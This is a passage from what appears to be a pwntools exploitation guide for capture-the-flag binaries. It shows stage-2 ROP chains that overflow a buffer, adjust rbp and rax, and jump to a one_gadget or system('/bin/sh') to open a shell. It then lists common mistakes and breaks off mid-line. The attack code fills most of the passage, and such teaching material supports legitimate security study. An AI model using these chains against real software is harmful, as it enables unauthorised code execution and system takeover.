# ======= STAGE 2: ONE_GADGET (works on modern libc!) =======
libc_rop = ROP(libc)
# Find gadgets to satisfy one_gadget constraints
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
# Writable address for RBP (one_gadget needs rbp-0x50 writable)
writable = elf.bss() + 0x200
# Try second one_gadget (0xef52b) - needs rax=NULL, rbp valid
one_gadget = libc.address + ONE_GADGETS[1]
p.recvuntil(b'Enter input: ')
stage2 = b'A' * OFFSET
stage2 += p64(ret) # Stack alignment
# Fix RBP FIRST (critical for one_gadget!)
if pop_rbp:
stage2 += p64(pop_rbp[0])
stage2 += p64(writable + 0x80) # rbp = valid writable addr
# Set rax = 0 (for one_gadget constraint)
if pop_rax:
stage2 += p64(pop_rax[0])
stage2 += p64(0) # rax = NULL
stage2 += p64(one_gadget) # Shell!
p.sendline(stage2)
log.success("Shell incoming!")
p.interactive()
Traditional Workflow (Older libc without CET):
# Only works on libc WITHOUT CET (SHSTK/IBT disabled)
# Check: checksec /lib/.../libc.so.6 → SHSTK: Disabled
# After setting libc.address...
rop2 = ROP([elf, libc])
rop2.call('system', [next(libc.search(b'/bin/sh\x00'))])
stage2 = flat(
b'A' * OFFSET,
p64(ret), # Stack alignment
rop2.chain(),
)
Common Mistakes:
# WRONG: Building ROP with libc before setting libc.address
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP([elf, libc]) # libc.address is 0 here!
rop.call('system', [...]) # Addresses will be wrong!
# WRONG: Using rop.call() for functions not in PLT
rop = ROP(elf)
rop.call('system', [...]) # ERROR: system not in elf.plt!
# WRONG: Expecting rop.call('execve', ...) to work on modern libc
libc_rop = ROP(libc)
libc_rop.call('execve', [binsh, 0, 0]) # May fail: "Cou